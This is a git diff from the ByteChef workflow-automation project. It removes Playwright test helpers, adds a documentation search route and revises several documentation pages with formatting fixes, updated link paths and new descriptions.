-    const projectId = await projectsPage.createProject(name);
-
-    return {id: projectId, name};
-}
-
-export async function createWorkflow(page: Page, projectId: string, workflowName?: string): Promise<TestWorkflowI> {
-    const name = workflowName || `workflow_${getRandomString()}`;
-    const projectsPage = new ProjectsPage(page);
-
-    await page.goto('/automation/projects');
-
-    await projectsPage.waitForPageLoad();
-
-    const projectItem = page.getByLabel(projectId);
-
-    await expect(projectItem).toBeVisible({timeout: 60000});
-
-    const createWorkflowButton = projectItem.getByRole('button', {name: 'Create Workflow'});
-
-    await createWorkflowButton.click();
-
-    await expect(projectsPage.createWorkflowDialogHeading).toBeVisible({timeout: 10000});
-
-    await projectsPage.workflowFormLabelInput.fill(name);
-    await projectsPage.saveButton.click();
-
-    await expect(page).toHaveURL(new RegExp(`${projectId}`), {timeout: 10000});
-
-    const url = page.url();
-
-    const workflowIdMatch = url.match(/project-workflows\/(\d+)/);
-
-    const workflowId = workflowIdMatch ? workflowIdMatch[1] : 'unknown';
-
-    return {projectId, workflowId, workflowName: name};
-}
-
-export async function createProjectWithWorkflow(
-    page: Page,
-    projectName?: string,
-    workflowName?: string
-): Promise<{project: TestProjectI; workflow: TestWorkflowI}> {
-    const project = await createProject(page, projectName);
-    const workflow = await createWorkflow(page, project.id, workflowName);
-
-    return {project, workflow};
-}
-
-interface ImportWorkflowProps {
-    page: Page;
-    projectId: string;
-    workflowFilePath: string;
-}
-
-export async function importWorkflow({page, projectId, workflowFilePath}: ImportWorkflowProps): Promise<TestWorkflowI> {
-    const projectsPage = new ProjectsPage(page);
-
-    await page.goto('/automation/projects');
-
-    await projectsPage.waitForPageLoad();
-
-    const projectItem = page.getByLabel(projectId);
-
-    await expect(projectItem).toBeVisible({timeout: 60000});
-
-    await projectItem.click();
-
-    await page.waitForTimeout(1000);
-
-    const workflowCreationOptionsButton = projectItem.getByRole('button', {name: 'Workflow Creation Actions'});
-
-    await expect(workflowCreationOptionsButton).toBeVisible({timeout: 10000});
-
-    const importWorkflowMenuItem = page.getByRole('menuitem', {name: 'Import Workflow'});
-
-    await clickAndExpectToBeVisible({
-        target: importWorkflowMenuItem,
-        trigger: workflowCreationOptionsButton,
-    });
-
-    const fileInput = page.getByTestId(`${projectId}-importWorkflowHiddenInput`);
-
-    await fileInput.setInputFiles(workflowFilePath);
-
-    const workflowLink = page.getByLabel(`Link to workflow ${SAMPLE_WORKFLOW_NAME}`);
-
-    await expect(workflowLink).toBeVisible({timeout: 10000});
-
-    await workflowLink.dispatchEvent('click');
-
-    await expect(page).toHaveURL(new RegExp(`${projectId}.*project-workflows`), {timeout: 15000});
-
-    const url = page.url();
-
-    const workflowIdMatch = url.match(/project-workflows\/(\d+)/);
-
-    const workflowId = workflowIdMatch ? workflowIdMatch[1] : 'unknown';
-
-    return {projectId, workflowId, workflowName: SAMPLE_WORKFLOW_NAME};
-}
diff --git a/client/test/playwright/utils/workflowUtils.ts b/client/test/playwright/utils/workflowUtils.ts
deleted file mode 100644
index b0759c2c9c7..00000000000
--- a/client/test/playwright/utils/workflowUtils.ts
+++ /dev/null
@@ -1,90 +0,0 @@
-import {Locator, type Page} from '@playwright/test';
-
-import {clickAndExpectToBeVisible} from './clickAndExpectToBeVisible';
-
-interface WorkflowDefinitionI {
-    tasks?: Array<{
-        name?: string;
-        parameters?: {
-            value?: Record<string, unknown>;
-        };
-    }>;
-}
-
-interface GetPropertyValueProps {
-    propertyName: string;
-    taskName: string;
-    workflowDefinition: WorkflowDefinitionI;
-}
-
-export function getPropertyValue({propertyName, taskName, workflowDefinition}: GetPropertyValueProps): unknown {
-    const task = workflowDefinition.tasks?.find((taskItem) => taskItem.name === taskName);
-
-    return task?.parameters?.value?.[propertyName];
-}
-
-export function formatPropertyValue(value: unknown, propertyName: string): string {
-    if (value === null || value === undefined) {
-        return '';
-    }
-
-    if (typeof value === 'boolean') {
-        return value ? 'True' : 'False';
-    }
-
-    if (typeof value === 'number') {
-        return String(value);
-    }
-
-    if (Array.isArray(value)) {
-        return String(value[0] ?? '');
-    }
-
-    if (typeof value === 'string') {
-        if (propertyName === 'DateTime' && value.includes('T')) {
-            const dateTimeMatch = value.match(/^(\d{4}-\d{2}-\d{2}T\d{2}:\d{2}(?::\d{2})?)$/);
-
-            if (dateTimeMatch) {
-                return dateTimeMatch[1];
-            }
-        }
-
-        return value;
-    }
-
-    return String(value);
-}
-
-export async function getWorkflowDefinition(page: Page, workflowId: string): Promise<WorkflowDefinitionI> {
-    await page.waitForTimeout(2000);
-
-    const response = await page.request.get(`/api/automation/internal/workflows/by-project-workflow-id/${workflowId}`);
-
-    const workflow = await response.json();
-
-    return JSON.parse(workflow.definition);
-}
-
-export async function reopenConfigurationPanel(page: Page): Promise<Locator> {
-    const varNode = page.getByLabel('var_1 node');
-
-    const reloadedConfigurationPanel = page.getByLabel('var_1 component configuration panel');
-
-    await clickAndExpectToBeVisible({
-        target: reloadedConfigurationPanel,
-        trigger: varNode,
-    });
-
-    return reloadedConfigurationPanel;
-}
-
-export async function openPropertiesTab(componentConfigurationPanel: Locator): Promise<void> {
-    const propertiesTabButton = componentConfigurationPanel.getByRole('button', {name: 'Properties'});
-
-    const typeProperty = componentConfigurationPanel.getByLabel('type property');
-
-    await clickAndExpectToBeVisible({
-        target: typeProperty,
-        trigger: propertiesTabButton,
-    });
-}
diff --git a/docs/app/static-route/route.ts b/docs/app/static-route/route.ts
new file mode 100644
index 00000000000..638a2995be8
--- /dev/null
+++ b/docs/app/static-route/route.ts
@@ -0,0 +1,35 @@
+import { source } from '@/lib/source';
+import type { OramaDocument } from 'fumadocs-core/search/orama-cloud';
+import { getBreadcrumbItems } from 'fumadocs-core/breadcrumb';
+
+export const revalidate = false;
+
+export async function GET(): Promise<Response> {
+  const pages = source.getPages();
+  const promises = pages.map(async (page) => {
+    if (page.data.type === 'openapi') return;
+
+    const items = getBreadcrumbItems(page.url, source.pageTree, {
+      includePage: false,
+      includeRoot: true,
+    });
+
+    return {
+      id: page.url,
+      structured: (await page.data.load()).structuredData,
+      tag: page.slugs[0],
+      url: page.url,
+      title: page.data.title,
+      description: page.data.description,
+      breadcrumbs: items.flatMap<string>((item, i) =>
+        i > 0 && typeof item.name === 'string' ? item.name : [],
+      ),
+    } as OramaDocument;
+  });
+
+  return Response.json(
+    (await Promise.all(promises)).filter(
+      (v) => v !== undefined,
+    ) as OramaDocument[],
+  );
+}
diff --git a/docs/content/docs/(getting-started)/architecture.mdx b/docs/content/docs/(getting-started)/architecture.mdx
index 5e60ade09a7..69b5181f1f8 100644
--- a/docs/content/docs/(getting-started)/architecture.mdx
+++ b/docs/content/docs/(getting-started)/architecture.mdx
@@ -1,118 +1,119 @@
 ---
+description: "ByteChef Platform Architecture. Learn the infrastructure design and technical components of the ByteChef system in your ByteChef workflows."
 title: Platform Architecture
-description: ByteChef is an open-source, enterprise-ready platform for API integration and workflow automation.
 ---
 
 ByteChef is built on a scalable, modular architecture designed to handle enterprise-grade workflow automation and integrations. The platform provides a flexible foundation that supports multiple deployment models, from cloud-hosted to on-premises deployments.
 
+![Workflow Architecture](/Architecture_Diagram.png)
 ## System Architecture Overview
 
 The ByteChef platform is composed of several interconnected layers that work together to deliver workflow automation capabilities.
 
-**API & Integration Layer** : This layer handles communication with external services and applications. It provides comprehensive REST and GraphQL APIs that allow seamless integration with over 500+ pre-built connectors and custom integrations through our component system.
+**API & Integration Layer**: This layer handles communication with external services and applications. It provides comprehensive REST and GraphQL APIs that allow seamless integration with over 500+ pre-built connectors and custom integrations through our component system.
 
-**Workflow Engine** : The core execution engine processes workflow definitions, manages task execution, handles data transformations, and orchestrates component interactions. It supports parallel execution, conditional branching, looping, and error handling.
+**Workflow Engine**: The core execution engine processes workflow definitions, manages task execution, handles data transformations, and orchestrates component interactions. It supports parallel execution, conditional branching, looping, and error handling.
 
-**Component System** : A modular framework for building integrations. Each component encapsulates actions, triggers, and connections to external services. Components can be pre-built (Slack, GitHub, Salesforce, etc.) or custom-built using our developer framework.
+**Component System**: A modular framework for building integrations. Each component encapsulates actions, triggers, and connections to external services. Components can be pre-built (Slack, GitHub, Salesforce, etc.) or custom-built using our developer framework.
 
-**Data & State Management** : Manages workflow execution state, handles data persistence, processes data mappings and transformations, and maintains audit logs for compliance and debugging.
+**Data & State Management**: Manages workflow execution state, handles data persistence, processes data mappings and transformations, and maintains audit logs for compliance and debugging.
 
-**Runtime & Execution** : Provides execution environments for workflows, manages job scheduling and queueing, handles resource allocation, and enables both synchronous and asynchronous execution patterns.
+**Runtime & Execution**: Provides execution environments for workflows, manages job scheduling and queueing, handles resource allocation, and enables both synchronous and asynchronous execution patterns.
 
 ## Multi-Tier Deployment Architecture
 
 ByteChef supports flexible deployment options to meet different organizational needs.
 
-**Cloud Deployment** : ByteChef Cloud is our managed, hosted solution. Users access the platform via a web-based interface with zero infrastructure management. Ideal for teams wanting quick time-to-value without managing their own infrastructure. Includes automatic scaling, security patches, and regular updates.
+**Cloud Deployment**: ByteChef Cloud is our managed, hosted solution. Users access the platform via a web-based interface with zero infrastructure management. Ideal for teams wanting quick time-to-value without managing their own infrastructure. Includes automatic scaling, security patches, and regular updates.
 
-**Self-Hosted Deployment** : Organizations can deploy ByteChef on their own infrastructure using Docker, Kubernetes, AWS, Azure, Google Cloud, or DigitalOcean. Provides complete control over data, infrastructure, and customization. Suitable for enterprises with specific compliance, security, or data residency requirements.
+**Self-Hosted Deployment**: Organizations can deploy ByteChef on their own infrastructure using Docker, Kubernetes, AWS, Azure, Google Cloud, or DigitalOcean. Provides complete control over data, infrastructure, and customization. Suitable for enterprises with specific compliance, security, or data residency requirements.
 
 ## Core Components
 
-**Web Interface** : User-friendly workflow builder with drag-and-drop component configuration, real-time execution monitoring, and workflow management capabilities. Built with React and TypeScript for a responsive, modern experience.
+**Web Interface**: User-friendly workflow builder with drag-and-drop component configuration, real-time execution monitoring, and workflow management capabilities. Built with React and TypeScript for a responsive, modern experience.
 
-**API Server** : Handles all API requests, manages authentication and authorization, processes workflow definitions, and orchestrates execution. Provides REST endpoints for programmatic access to all platform features.
+**API Server**: Handles all API requests, manages authentication and authorization, processes workflow definitions, and orchestrates execution. Provides REST endpoints for programmatic access to all platform features.
 
-**Workflow Engine** : Processes workflow definitions in JSON format, manages execution state and transitions between tasks, handles error recovery and retries, and supports complex control flow patterns including branches, loops, and parallel execution.
+**Workflow Engine**: Processes workflow definitions in JSON format, manages execution state and transitions between tasks, handles error recovery and retries, and supports complex control flow patterns including branches, loops, and parallel execution.
 
-**Component Registry** : Centralizes all available components and their metadata, manages component versioning and updates, and provides discovery and configuration interfaces for users.
+**Component Registry**: Centralizes all available components and their metadata, manages component versioning and updates, and provides discovery and configuration interfaces for users.
 
-**Data Storage** : Persists workflow definitions, execution history, audit logs, and user data. Supports multiple database backends (PostgreSQL, MySQL, etc.) and file storage options.
+**Data Storage**: Persists workflow definitions, execution history, audit logs, and user data. Supports multiple database backends (PostgreSQL, MySQL, etc.) and file storage options.
 
-**Message Queue** : Handles asynchronous task processing, manages job scheduling and prioritization, and enables decoupled processing for improved scalability and reliability.
+**Message Queue**: Handles asynchronous task processing, manages job scheduling and prioritization, and enables decoupled processing for improved scalability and reliability.
 
 ## Workflow Execution Flow
 
 When you trigger a workflow, the platform executes it through a well-defined pipeline.
 
-1. **Trigger Activation** : A webhook, schedule, or manual trigger initiates workflow execution
-2. **Workflow Parsing** : The engine loads and parses the workflow definition
-3. **Input Processing** : Trigger data is prepared and validated
-4. **Component Execution** : Tasks execute sequentially or in parallel based on workflow configuration
-5. **Data Transformation** : Data flows between components using mapping expressions
-6. **Conditional Logic** : Branches are evaluated and appropriate paths are taken
-7. **Output Generation** : Final results are formatted and returned
-8. **State Persistence** : Execution state and logs are saved for monitoring and debugging
+1. **Trigger Activation**: A webhook, schedule, or manual trigger initiates workflow execution
+2. **Workflow Parsing**: The engine loads and parses the workflow definition
+3. **Input Processing**: Trigger data is prepared and validated
+4. **Component Execution**: Tasks execute sequentially or in parallel based on workflow configuration
+5. **Data Transformation**: Data flows between components using mapping expressions
+6. **Conditional Logic**: Branches are evaluated and appropriate paths are taken
+7. **Output Generation**: Final results are formatted and returned
+8. **State Persistence**: Execution state and logs are saved for monitoring and debugging
 
 ## Integration Architecture
 
 ByteChef connects applications through a standardized component model.
 
-**Connection Management** : Securely stores API credentials, OAuth tokens, and authentication details. Supports multiple authentication methods (API keys, OAuth 2.0, Basic Auth, custom).
+**Connection Management**: Securely stores API credentials, OAuth tokens, and authentication details. Supports multiple authentication methods (API keys, OAuth 2.0, Basic Auth, custom).
 
-**Component Interface** : Standardized interface that all components implement, ensuring consistency across 500+ integrations. Each component defines its actions, triggers, and required properties.
+**Component Interface**: Standardized interface that all components implement, ensuring consistency across 500+ integrations. Each component defines its actions, triggers, and required properties.
 
-**Data Mapping** : Powerful expression engine allows transforming and mapping data between components. Supports JavaScript expressions, field references, and utility functions for data manipulation.
+**Data Mapping**: Powerful expression engine allows transforming and mapping data between components. Supports JavaScript expressions, field references, and utility functions for data manipulation.
 
-**Error Handling** : Components can define retry strategies, timeout behaviors, and error recovery patterns. The engine supports both component-level and workflow-level error handling.
+**Error Handling**: Components can define retry strategies, timeout behaviors, and error recovery patterns. The engine supports both component-level and workflow-level error handling.
 
 ## Scalability & Performance
 
 ByteChef is designed to handle enterprise-scale automation demands.
 
-**Horizontal Scaling** : The stateless design of the API server and execution engine allows deploying multiple instances behind a load balancer for handling increased load.
+**Horizontal Scaling**: The stateless design of the API server and execution engine allows deploying multiple instances behind a load balancer for handling increased load.
 
-**Asynchronous Processing** : Heavy operations are queued and processed asynchronously, preventing blocking and ensuring responsive APIs.
+**Asynchronous Processing**: Heavy operations are queued and processed asynchronously, preventing blocking and ensuring responsive APIs.
 
-**Resource Management** : Execution is optimized for efficiency with configurable timeouts, concurrent execution limits, and resource allocation policies.
+**Resource Management**: Execution is optimized for efficiency with configurable timeouts, concurrent execution limits, and resource allocation policies.
 
-**Data Efficiency** : Large payloads are handled efficiently with streaming support, compression options, and smart caching strategies.
+**Data Efficiency**: Large payloads are handled efficiently with streaming support, compression options, and smart caching strategies.
 
 ## Security Architecture
 
 Security is built into every layer of the platform.
 
-**Authentication** : Supports multiple authentication methods including OAuth 2.0, API keys, and single sign-on (SSO) integration.
+**Authentication**: Supports multiple authentication methods including OAuth 2.0, API keys, and single sign-on (SSO) integration.
 
-**Authorization** : Fine-grained RBAC (Role-Based Access Control) allows controlling what users can access and modify at the project and workflow levels.
+**Authorization**: Fine-grained RBAC (Role-Based Access Control) allows controlling what users can access and modify at the project and workflow levels.
 
-**Data Protection** : Credentials are encrypted at rest and in transit. Sensitive data in logs is masked. Audit logs track all actions for compliance.
+**Data Protection**: Credentials are encrypted at rest and in transit. Sensitive data in logs is masked. Audit logs track all actions for compliance.
 
-**API Security** : Rate limiting, input validation, and CORS protection prevent abuse. All API endpoints require authentication.
+**API Security**: Rate limiting, input validation, and CORS protection prevent abuse. All API endpoints require authentication.
 
 ## Monitoring & Observability
 
 Complete visibility into workflow execution and system health.
 
-**Execution Tracking** : Real-time monitoring of workflow runs with detailed execution logs showing each step, data transformations, and timing information.
+**Execution Tracking**: Real-time monitoring of workflow runs with detailed execution logs showing each step, data transformations, and timing information.
 
-**Performance Metrics** : Track workflow execution duration, error rates, and component performance. Identify bottlenecks and optimization opportunities.
+**Performance Metrics**: Track workflow execution duration, error rates, and component performance. Identify bottlenecks and optimization opportunities.
 
-**Audit Logging** : Comprehensive logs of all system activities for compliance, debugging, and security investigation.
+**Audit Logging**: Comprehensive logs of all system activities for compliance, debugging, and security investigation.
 
-**Alerting** : Configurable alerts for workflow failures, performance issues, and security events enable proactive issue management.
+**Alerting**: Configurable alerts for workflow failures, performance issues, and security events enable proactive issue management.
 
 ## Development & Extensibility
 
 Build custom integrations and extend the platform.
 
-**Component Development** : Developer SDK for building custom components in TypeScript/JavaScript. Create actions, triggers, and connections for proprietary or niche systems.
+**Component Development**: Developer SDK for building custom components in TypeScript/JavaScript. Create actions, triggers, and connections for proprietary or niche systems.
 
-**API Access** : Full API access enables building custom applications on top of ByteChef or integrating it into existing systems.
+**API Access**: Full API access enables building custom applications on top of ByteChef or integrating it into existing systems.
 
-**Webhooks** : Send workflow data to external systems in real-time using webhooks. Enables two-way integrations and event-driven architectures.
+**Webhooks**: Send workflow data to external systems in real-time using webhooks. Enables two-way integrations and event-driven architectures.
 
-**Configuration as Code** : Define workflows in JSON format, enabling version control, CI/CD integration, and infrastructure-as-code practices.
+**Configuration as Code**: Define workflows in JSON format, enabling version control, CI/CD integration, and infrastructure-as-code practices.
 
 ## Data Flow & Processing
 
@@ -124,32 +125,32 @@ Data enters through triggers (webhooks, schedules, manual), flows through compon
 
 ByteChef leverages proven, open-source technologies.
 
-**Backend** : Java/Spring Boot for the core platform, providing stability, performance, and extensive ecosystem support.
+**Backend**: Java/Spring Boot for the core platform, providing stability, performance, and extensive ecosystem support.
 
-**Frontend** : React with TypeScript for a modern, responsive user interface.
+**Frontend**: React with TypeScript for a modern, responsive user interface.
 
-**Database** : PostgreSQL as the primary data store, with support for other databases.
+**Database**: PostgreSQL as the primary data store, with support for other databases.
 
-**Message Queue** : RabbitMQ or similar for asynchronous job processing and reliable message delivery.
+**Message Queue**: RabbitMQ or similar for asynchronous job processing and reliable message delivery.
 
-**Container** : Docker for containerization, enabling deployment flexibility across cloud and on-premises environments.
+**Container**: Docker for containerization, enabling deployment flexibility across cloud and on-premises environments.
 
 ## Architecture Benefits
 
 The modular, layered architecture provides several advantages.
 
-**Scalability** : Add more nodes to handle increased load without redesigning the system.
+**Scalability**: Add more nodes to handle increased load without redesigning the system.
 
-**Reliability** : Separated concerns and async processing prevent cascading failures.
+**Reliability**: Separated concerns and async processing prevent cascading failures.
 
-**Flexibility** : Modular design allows customization at every level without touching core platform code.
+**Flexibility**: Modular design allows customization at every level without touching core platform code.
 
-**Maintainability** : Clear separation of concerns makes the system easier to understand and maintain.
+**Maintainability**: Clear separation of concerns makes the system easier to understand and maintain.
 
-**Security** : Multiple layers of security controls with defense in depth approach.
+**Security**: Multiple layers of security controls with defense in depth approach.
 
-**Performance** : Optimized data flow, caching strategies, and async processing ensure fast execution.
+**Performance**: Optimized data flow, caching strategies, and async processing ensure fast execution.
 
 ---
 
-For information on deploying ByteChef in your specific environment, see the [Deployment](/deployment/environment_variables) section. For details on building custom integrations, visit the [Developer Guide](/developer-guide).
\ No newline at end of file
+For information on deploying ByteChef in your specific environment, see [Deployment](/self-hosting/deployment/local-docker) section. For details on building custom integrations, visit the [Developer Guide](/developer-guide/build-component/initial-setup).
\ No newline at end of file
diff --git a/docs/content/docs/(getting-started)/glossary.mdx b/docs/content/docs/(getting-started)/glossary.mdx
index 8542867a8cd..04507108533 100644
--- a/docs/content/docs/(getting-started)/glossary.mdx
+++ b/docs/content/docs/(getting-started)/glossary.mdx
@@ -1,6 +1,6 @@
 ---
 title: Glossary
-description: Terms used in ByteChef platform.
+description: "ByteChef glossary. Quick reference guide for automation terms, workflows, components, triggers, and integration concepts."
 ---
 
 In this document, you will find a list of terms used in ByteChef's platform. Here are the definitions:
@@ -17,7 +17,7 @@ Workflows are a series of actions and triggers that automate processes within th
 
 In ByteChef, a component is a modular building block that encapsulates specific functionalities within the platform. Each component is designed to interact with external services or perform particular tasks, making it an essential part of creating workflows.
 
-Components are composed of two main elements: actions and triggers.
+Components are composed of two main elements: **Actions** and **Triggers**.
 
 By combining actions and triggers, components enable users to automate complex processes and integrate various services seamlessly. Components are designed to be reusable and extendable, allowing users to customize and expand their workflows according to their needs.
 
diff --git a/docs/content/docs/(getting-started)/introduction.mdx b/docs/content/docs/(getting-started)/introduction.mdx
index 18401baf848..d60e8df85f4 100644
--- a/docs/content/docs/(getting-started)/introduction.mdx
+++ b/docs/content/docs/(getting-started)/introduction.mdx
@@ -1,6 +1,6 @@
 ---
 title: Introduction
-description: This is the documentation for ByteChef, an open-source workflow automation platform that connects your entire tech stack with AI-powered intelligence.
+description: "This is the documentation for ByteChef, an open-source workflow automation platform that connects your entire tech stack with AI-powered intelligence."
 icon: Album
 ---
 
@@ -21,7 +21,7 @@ This documentation covers everything from setup to usage and development. It's a
     Bring the power of ByteChef directly into your product—embed the workflow builder, run automations behind the scenes, and let your users create workflows inside your app.
   </Card>
 
-  <Card icon={<Blocks />} title='Developer Guide' href='/developer-guide'>
+  <Card icon={<Blocks />} title='Developer Guide' href='/developer-guide/build-component/initial-setup'>
     Get started with building components/connectors, writing custom functions, and extending ByteChef. Everything you need to develop, test, and deploy powerful automations.
   </Card>
 
@@ -48,4 +48,4 @@ Check out our [roadmap](https://github.com/orgs/bytechefhq/projects/3) to get in
 
 ### Contributing
 
-If you'd like to contribute, kindly read our [Contributing Guide](https://github.com/bytechefhq/bytechef/blob/master/CONTRIBUTING.md) to learn and understand about our development process, how to propose bug fixes and improvements, and how to build and test your changes to ByteChef.
+If you'd like to contribute, kindly read our [Contributing Guide](https://github.com/bytechefhq/bytechef/blob/master/CONTRIBUTING.md) to learn and understand about our development process, how to propose bug fixes and improvements, and how to build and test your changes to ByteChef.
\ No newline at end of file
diff --git a/docs/content/docs/(getting-started)/quickstart.mdx b/docs/content/docs/(getting-started)/quickstart.mdx
index 709b8eb1c00..97013642046 100644
--- a/docs/content/docs/(getting-started)/quickstart.mdx
+++ b/docs/content/docs/(getting-started)/quickstart.mdx
@@ -1,6 +1,6 @@
 ---
 title: "Quick Start"
-description: "This guide walks you through the basics of ByteChef in a few minutes. You'll learn how to build a workflow quickly, so no much configuration needed."
+description: "Quick Start guide for ByteChef. Learn how to build your first workflow in minutes with Spotify and Slack integration examples."
 ---
 
 In this tutorial, you'll learn:
@@ -18,13 +18,12 @@ You have two ways to use ByteChef:
 
 - **Your own infrastructure (Self-Hosted)**: Deploy and run ByteChef yourself. Supported on:
 
-  - [Docker](/self-hosting/docker)
-  - [Kubernetes](/self-hosting/kubernetes)
-  - [AWS EC2](/self-hosting/aws-ec2)
-  - [AWS ECS](/self-hosting/aws-ecs)
-  - [Azure Container Instance](/self-hosting/azure-container-instance)
-  - [Google Cloud Run](/self-hosting/google-cloud-run)
-  - [DigitalOcean](/self-hosting/digitalocean)
+  - [Docker](/self-hosting/deployment/local-docker)
+  - [Kubernetes](/self-hosting/deployment/kubernetes)
+  - [AWS EC2](/self-hosting/deployment/aws-ec2)
+  - [Azure](/self-hosting/deployment/azure)
+  - [GCP](/self-hosting/deployment/google-cloud)
+  - [DigitalOcean](/self-hosting/deployment/digitalocean)
 
 If you're ready to selfhost, you can pick any of the platforms above for detailed setup instructions.
 
@@ -125,11 +124,25 @@ The demo in this quickstart demonstrates the core concept of automation:
 - **Components**: Do the actual work (create, fetch, send)
 - **Expressions**: Pull data between components using `{{ $json.fieldName }}`
 
+## Workflow JSON Example
+
+You can view and download the complete JSON representation of the workflow you just built from this link:
+
+View this workflow's [JSON Example](https://www.npoint.io/docs/95e9a7405b87b7986698) and test in the Visual Workflow Builder.
+
+This JSON file contains the complete workflow structure including:
+- Manual Trigger configuration
+- Spotify Create Playlist component setup
+- Slack Send Message component with expressions
+- Node connections and workflow flow
+
+You can use this as a reference or import it directly into ByteChef to get started quickly.
+
 ## Next Steps
 
 Here are a few things you can explore next:
 
-- [Build Workflows](/automation/build-workflows)
+- [Build Workflows](/automation/build)
 - [Browse 200+ Components](/reference/components)
 - [Deploy your workflow](/automation/deploy)
 - [Monitor Executions](/automation/monitor)
\ No newline at end of file
diff --git a/docs/content/docs/(getting-started)/what-is-bytechef.mdx b/docs/content/docs/(getting-started)/what-is-bytechef.mdx
index 9ed99482db1..333b456b1bc 100644
--- a/docs/content/docs/(getting-started)/what-is-bytechef.mdx
+++ b/docs/content/docs/(getting-started)/what-is-bytechef.mdx
@@ -17,7 +17,7 @@ Leverage cutting-edge AI models to add intelligent decision-making, content gene
 Connect to a vast ecosystem of applications including Slack, Salesforce, HubSpot, Google Workspace, Microsoft Teams, and hundreds more. Seamlessly integrate your entire tech stack in one platform.
 
 **Multi-Cloud Deployment**
-Choose how you want to run ByteChef. Deploy to the cloud and let us handle infrastructure, or run it yourself on Docker, Kubernetes, AWS, Azure, Google Cloud, or DigitalOcean. Complete control over your data and deployment.
+Choose how you want to run ByteChef. Deploy to cloud and let us handle infrastructure, or run it yourself on Docker, Kubernetes, AWS, Azure, Google Cloud, or DigitalOcean. Complete control over your data and deployment.
 
 ## Why ByteChef?
 
@@ -69,7 +69,7 @@ Automate onboarding, offboarding, leave management, and employee communications.
 
 Ready to automate? Choose your path:
 
-- **[Quick Start](/quickstart)** — Build your first workflow in minutes
+- **[Quick Start](/getting-started/quickstart)** — Build your first workflow in minutes
 - **[Automation Guide](/automation)** — Learn workflow fundamentals
 - **[Browse Integrations](/reference/components)** — Explore 500+ pre-built connections
 - **[Developer Guide](/developer-guide)** — Create custom components and extend ByteChef
@@ -93,4 +93,4 @@ ByteChef is backed by an active community and comprehensive documentation. Get h
 
 ---
 
-**Ready to build your first automation?** Start with the [Quick Start guide](/quickstart) and see what's possible in just minutes.
\ No newline at end of file
+**Ready to build your first automation?** Start with the [Quick Start guide](/getting-started/quickstart) and see what's possible in just minutes.
diff --git a/docs/content/docs/automation/build/index.mdx b/docs/content/docs/automation/build/index.mdx
index 91ca3b41f4c..6d358e3f304 100644
--- a/docs/content/docs/automation/build/index.mdx
+++ b/docs/content/docs/automation/build/index.mdx
@@ -1,8 +1,8 @@
 ---
-title: "Overview"
-description: "An introduction to building and managing projects and workflows in ByteChef."
+description: "Building and managing projects and workflows in ByteChef. Organize and structure automation. Learn how to implement this in your ByteChef workflows."
+title: Overview
 ---
 
-In the following steps, we will learn how to build and manage projects and workflows within ByteChef. Projects and
-workflows are essential components of automation, enabling you to organize tasks, streamline processes, and enhance
-operational efficiency.
+Learn how to build and manage your automation within ByteChef. Projects and workflows are important components of automation, enabling you to organize tasks, streamline processes, and enhance operational efficiency.
+
+In this section, you will learn everything you need to organize your work and create automated workflows.
diff --git a/docs/content/docs/automation/build/projects.mdx b/docs/content/docs/automation/build/projects.mdx
index 96c4fd1f0ec..ed218ec9fa0 100644
--- a/docs/content/docs/automation/build/projects.mdx
+++ b/docs/content/docs/automation/build/projects.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Projects"
-description: "Learn how to create, manage, and organize projects within ByteChef."
+description: "Learn how to create, manage, and organize projects in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Build Projects
 ---
 
 Every project on ByteChef consists of one or more workflows. Projects help organize and manage workflows, making it
@@ -13,7 +13,7 @@ easier to group related automation processes together.
 3. Enter a name for your project. Optionally, provide a description, select a category, and add relevant tags.
 4. Click **Save**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/yvaNwrCiff9yL75oxQcS?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -24,7 +24,7 @@ easier to group related automation processes together.
 3. Modify the project name, description, category, or tags as needed.
 4. Click **Save** to apply your changes.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/4q7V8ueUNR3AwCr19p3K?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -35,7 +35,7 @@ easier to group related automation processes together.
 3. The duplicated project will appear in the project list with the same name followed by a numerical suffix (e.g.,
    Project Name (1)).
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/4bAqjD5y9nSX4SC9lSWd?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -46,7 +46,7 @@ easier to group related automation processes together.
 3. Enter a label for your workflow and optionally provide a description.
 4. Click **Save** to create the workflow.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/hKXp2J07qDjlTcyz4PJp?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -56,7 +56,7 @@ easier to group related automation processes together.
 2. Select **Import Workflow** from the dropdown menu.
 3. Choose the JSON file containing the workflow you wish to import.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
